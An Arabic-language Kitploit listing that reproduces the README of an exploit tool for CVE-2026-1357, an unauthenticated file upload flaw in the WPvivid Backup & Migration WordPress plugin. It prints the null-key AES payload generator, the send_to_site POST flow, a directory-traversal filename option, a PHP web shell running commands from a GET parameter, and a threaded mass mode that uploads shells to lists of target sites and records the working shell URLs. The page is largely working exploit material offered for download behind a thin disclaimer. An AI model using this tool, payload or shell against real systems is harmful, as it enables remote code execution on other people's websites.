Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-1357 — Migration, Backup, Staging <= 0.9.123 - رفع ملف تعسفي بدون مصادقة | Kitploit
أدوات/GitHubGitHub/nxploited/cve-2026-1357
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHubnxploited/cve-2026-1357

CVE-2026-1357

Migration, Backup, Staging <= 0.9.123 - رفع ملف تعسفي بدون مصادقة

عرض المستودع
1منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

🧨 CVE-2026-1357 – أداة استغلال WPvivid ذات المفتاح الفارغ (CVE-2026-1357.py)

الترحيل، النسخ الاحتياطي، التدريج – WPvivid Backup & Migration ≤ 0.9.123
الثغرة: رفع ملفات تعسفي بدون مصادقة → تنفيذ تعليمات برمجية عن بُعد
CVE: CVE-2026-1357 – CVSS 9.8 (حرجة)

GitHub: https://github.com/Nxploited
Telegram: @KNxploited


🧬 ماذا يفعل هذا السكربت

Nxploited

CVE-2026-1357.py هو أداة استغلال لإثبات المفهوم لثغرة WPvivid. يركز على معالجة جلسات AES المعيبة التي تسمح للمهاجم بـ:

  1. تشفير حمولة بمفتاح AES/IV فارغ (كل البايتات أصفار) بنفس الصيغة التي يتوقعها WPvivid.
  2. تضمين محتوى ملف تعسفي (مثل قشرة PHP) واسم/مسار ملف محدد (name) داخل الحمولة.
  3. إرسال هذه الحمولة إلى نقطة نهاية WPvivid عبر معامل wpvivid_action=send_to_site.
  4. (اختياريًا) التحقق مما إذا كان الملف قد كُتب بنجاح وأصبح قابلًا للوصول.

لا يحاول السكربت تخمين أو إساءة استخدام المفاتيح الخاصة مباشرة. بدلاً من ذلك، يحاكي تدفق WPvivid المعطوب حيث يؤدي فشل openssl_private_decrypt() إلى تهيئة تشفير AES الخاص بـ phpseclib بمفتاح فارغ.


🧠 التفاصيل التقنية الداخلية

🔐 حمولة AES ذات المفتاح الفارغ

جوهر الاستغلال موجود في gen_wpvivid_payload():

  • يقوم ببناء بنية JSON:

    root@kitploit:~
    {
      "name": "<file_name>",
      "offset": 0,
      "data": "<base64(file_bytes)>",
      "file_size": <len(file_bytes)>,
      "md5": "<md5(file_bytes)>"
    }
    
  • يقوم بتسلسل JSON هذا (بصيغة مضغوطة، بدون مسافات).

  • يقوم بتشفير JSON باستخدام:

    • AES-128-CBC
    • key = b"\x00" * 16
    • iv = b"\x00" * 16
  • ثم يضيف في البداية:

    • 3 بايتات: "000" (عنصر نائب لحقل الطول الثابت).
    • 16 بايتًا سداسيًا عشريًا بأحرف كبيرة: طول التشفير مُرمّزًا كـ "{len(cipher):016X}".
  • الكتلة المشفرة النهائية هي:

    root@kitploit:~
    "000" + <16-byte cipher length hex> + <raw AES-CBC ciphertext>
    
  • يتم ترميز هذه الكتلة بـ base64 وإرجاعها كقيمة wpvivid_content النهائية.

الدالة:

root@kitploit:~
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
    file_md5 = hashlib.md5(file_bytes).hexdigest()
    json_obj = {
        "name": file_name,
        "offset": 0,
        "data": base64.b64encode(file_bytes).decode(),
        "file_size": len(file_bytes),
        "md5": file_md5,
    }
    json_str = json.dumps(json_obj, separators=(",", ":")).encode()
    cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
    encrypted = cipher.encrypt(pad(json_str, AES.block_size))
    key_len_field = b"000"
    cipherlen_field = f"{len(encrypted):016X}".encode()
    blob = key_len_field + cipherlen_field + encrypted
    return base64.b64encode(blob).decode()

هذا يطابق توقعات فك التشفير في WPvivid داخل مسار الكود المعرض للخطر بعد فشل فك تشفير RSA.


🧰 الميزات والأوضاع

يحتوي السكربت على وضعين رئيسيين بالإضافة إلى قدرة الاختبار الجماعي:

  1. mood1 – مولّد الحمولة

    • يولد قيمة wpvivid_content صالحة باستخدام خدعة المفتاح الفارغ.
    • يدعم طرقًا متعددة لتحديد محتوى الملف.
    • يمكنه اختياريًا تشغيل الاختبار الجماعي ضد قائمة من الأهداف.
  2. mood2 – اختبار هدف واحد

    • يستخدم حمولة مولّدة مسبقًا.
    • يختبر هدفًا واحدًا من البداية إلى النهاية:
      • يرسل الحمولة.
      • يبني رابط الملف المتوقع الناتج.
      • يتحقق مما إذا كان الملف قابلًا للوصول.
  3. الوضع الجماعي (من mood1)

    • يرسل حمولة مختارة إلى أهداف متعددة من ملف قائمة.
    • يستخدم التزامن وشريط تقدم.
    • يتتبع ويسجل عمليات الرفع الناجحة.

🚦 تشغيل السكربت

root@kitploit:~
python3 CVE-2026-1357.py

ستظهر واجهة قائمة على Rich مع لافتة واختيار الوضع:

  • mood1 – مولّد الحمولة
  • mood2 – اختبار هدف واحد

🧪 الوضع: mood1 – مولّد الحمولة

الغرض

  • إنشاء حمولة استغلال (wpvivid_content) ترمز إلى:
    • مسار/اسم الملف الذي تريد أن يكتبه WPvivid.
    • محتوى الملف (قشرة، ملف اختبار، إلخ).

التدفق

  1. اختيار الوضع

    عند المطالبة:

    root@kitploit:~
    Choose mode (mood1/mood2) [mood1]:
    

    اضغط Enter (الافتراضي هو mood1) أو اكتب mood1.

  2. اسم/مسار الملف الهدف

    يُطلب منك:

    root@kitploit:~
    Target file name (e.g., Nx_.php or ../../public/Nx_.php):
    

    أمثلة:

    • لوضع ملف في دليل نسخ WPvivid الاحتياطية:

      root@kitploit:~
      Nx_.php
      
    • لاستغلال اجتياز الدليل (إذا كان مسموحًا به من الهدف):

      root@kitploit:~
      ../../public_html/Nx_.php
      

    القيمة تُوضع في حقل name من حمولة JSON.

  3. وضع إدخال المحتوى

    يعرض السكربت ثلاث طرق لتحديد محتوى الملف:

    • الوضع 1: محتوى سطر واحد.
    • الوضع 2: محتوى متعدد الأسطر (ينتهي بـ EOF).
    • الوضع 3: قراءة من ملف محلي (مثل shell.php).

اختياري: الوضع الجماعي من mood1

بعد توليد الحمولة، يسأل السكربت:

root@kitploit:~
Auto-send this payload to targets list (mass mode)? (y/N):

إذا أجبت بـ y، يبدأ الوضع الجماعي بالحمولة واسم الملف اللذين أنشأتهما للتو.


🌐 الوضع الجماعي – أهداف متعددة

الغرض

  • أخذ حمولة استغلال واحدة واختبارها ضد قائمة من الأهداف.

التدفق

  1. ملف الأهداف

    مثال للمطالبة:

    root@kitploit:~
    Targets list file (one URL per line):
    

    الصيغة المتوقعة للملف (مثل targets.txt):

    root@kitploit:~
    https://site1.com
    site2.com
    http://site3.net
    

    سيقوم السكربت تلقائيًا بتطبيع روابط الأساس (إضافة البروتوكول عند غيابه).

  2. عدد الخيوط

    root@kitploit:~
    Threads (concurrent sites) [5]:
    

    يتحكم في عدد المواقع التي تتم معالجتها بالتوازي.

  3. منطق كل هدف

    لكل هدف:

    • تطبيع الرابط → base_url.

    • استدعاء:

      root@kitploit:~
      send_wpvivid_payload(base_url, payload)
      

      والذي:

      • يبني POST يحتوي wpvivid_action=send_to_site + wpvivid_content=<payload>.
      • يرسل عبر جلسة جديدة مع إعدادات مُحسَّنة لتجمع الاتصالات.
      • يتحقق مما إذا كان الاستجابة تحتوي على {"result":"success"} (فحص بالصيغة المضغوطة).

🧪 الوضع: mood2 – اختبار هدف واحد

الغرض

  • استخدام حمولة موجودة (من wpvivid_payload.txt أو مصدر خارجي) ضد رابط واحد، والتحقق من الملف الناتج.

التدفق

  1. رابط الهدف

    المطالبة:

    root@kitploit:~
    Target base URL (e.g., https://site.com):
    

    مثال:

    root@kitploit:~
    https://victim.com
    

    يقوم السكربت بتطبيع هذا إلى رابط أساس مثل:

    root@kitploit:~
    https://victim.com
    
  2. اسم الملف

    المطالبة:

    root@kitploit:~
    Expected file name (e.g., Nx_.php):
    

    هذا هو الاسم/المسار الذي تتوقعه أن يكتبه WPvivid (مطابقًا لما رمّزته في حقل name داخل الحمولة).

  3. إدخال الحمولة

    المطالبة:

    root@kitploit:~
    Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
    
    • إذا لصقت سطرًا كاملاً يبدأ بـ wpvivid_content=...، فسيتم إزالة البادئة.
    • إذا لصقت base64 فقط، فسيتم أخذه كما هو.
  4. التنفيذ

    يقوم السكربت بـ:

    • إرسال POST يحتوي wpvivid_action=send_to_site + قيمة wpvivid_content الخاصة بك.

هذا الوضع مثالي للاستخدام اليدوي / اختبارات المختبر لموقع واحد مع تحكم دقيق في الحمولة.


📁 ملفات المخرجات

  • wpvivid_payload.txt

    • يُكتب في mood1.
    • يخزن:
      • file_name=<file_name_you_chose>
      • wpvivid_content=<payload>
  • Nx_.txt

    • يُكتب بواسطة mood1 (الوضع الجماعي) وmood2.
    • يحتوي على رابط ملف ناجح واحد لكل سطر حيث يبدو أن الرفع نجح (مع تحقق اختياري).

⚠️ إخلاء المسؤولية

هذه الأداة مخصصة حصريًا من أجل:

  • البحث الأمني في بيئات خاضعة للتحكم.
  • اختبار الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.
  • التحقق من إجراءات المعالجة والكشف الخاصة بـ CVE-2026-1357.

باستخدامك لهذا السكربت، فأنت توافق على أن:

  • أنت مسؤول عن الامتثال لجميع القوانين المعمول بها.
  • لن تستخدمه على أنظمة بدون إذن مناسب.
  • المؤلف (Nxploited) لا يتحمل أي مسؤولية عن أي إساءة استخدام أو ضرر أو مشكلات قانونية أو حوادث ناتجة عن استخدام هذه الأداة.

استخدمه على مسؤوليتك الخاصة وفقط لاختبارات أمنية مشروعة.


✍️ المؤلف والتواصل

  • بواسطة: Nxploited (Khaled Alenazi)
  • GitHub: https://github.com/Nxploited
  • Telegram: @KNxploited

للتحديثات والأدوات والمحتوى المتعلق بالبحث الأمني، تابع قناة Telegram:
👉 @KNxploited

تنزيل الأداة

يُطلب منك:

root@kitploit:~
Mode [1/2/3] [1]:
  • الوضع 1 – سطر واحد

    root@kitploit:~
    Single line content:
    

    مثال للإدخال:

    root@kitploit:~
    <?php phpinfo();
    
  • الوضع 2 – متعدد الأسطر

    root@kitploit:~
    Enter file content, line by line. Type 'EOF' on its own line when done.
    

    يمكنك لصق أو كتابة سكربت PHP متعدد الأسطر، ثم إنهاء بـ EOF في سطر مستقل:

    root@kitploit:~
    <?php
    echo "Nxploited shell";
    system($_GET['cmd'] ?? 'id');
    ?>
    EOF
    
  • الوضع 3 – ملف محلي

    root@kitploit:~
    Local file path (e.g., shell.php):
    

    يقرأ السكربت الملف بالكامل إلى file_bytes.

  • توليد الحمولة

    بمجرد التقاط المحتوى، يقوم السكربت بـ:

    • بناء كائن JSON.
    • تشفيره باستخدام AES-CBC بمفتاح فارغ.
    • تغليف الكتلة الثنائية.
    • ترميزها بـ base64.

    سترى مخرجات مثل:

    root@kitploit:~
    Payload generated.
    Use the value after '=' as wpvivid_content.
    
    wpvivid_content=BASE64_BLOB_HERE
    

    ويتم كتابة ملف wpvivid_payload.txt:

    root@kitploit:~
    file_name=Nx_.php
    wpvivid_content=BASE64_BLOB_HERE
    
  • إذا اعتُبر الرفع ناجحًا:

    • يبني shell_url كالتالي:

      root@kitploit:~
      f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
      
    • يحفظه في Nx_.txt.

    • يحاول verify_written_file():

      • يطلب shell_url بـ GET.
      • إذا كان status_code == 200، يعلّمه كموثّق.
  • إذا حدث أي خطأ:

    • يصنف السكربت السبب عبر short_reason():
      • TIMEOUT / SSL / 404 / 403 / CONN / REQUEST / VERIFY / ERROR.
  • الواجهة

    • شريط تقدم Rich يعرض التقدم العام والوقت المنقضي.
    • كل موقع يطبع:
      • [OK] <shell_url> عند النجاح.
      • [FAIL] <base> (reason: ...) عند الخطأ.
      • [!] Not verified (...) عندما يكون الرفع قد نجح على الأرجح لكن التحقق فشل.
  • إذا أشارت الاستجابة إلى النجاح، يقوم ببناء:

    root@kitploit:~
    <base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>
    

    ويطبع [OK] مع ذلك الرابط.

  • يضيف الروابط الناجحة إلى Nx_.txt.

  • يحاول التحقق عبر verify_written_file() ويطبع النتيجة.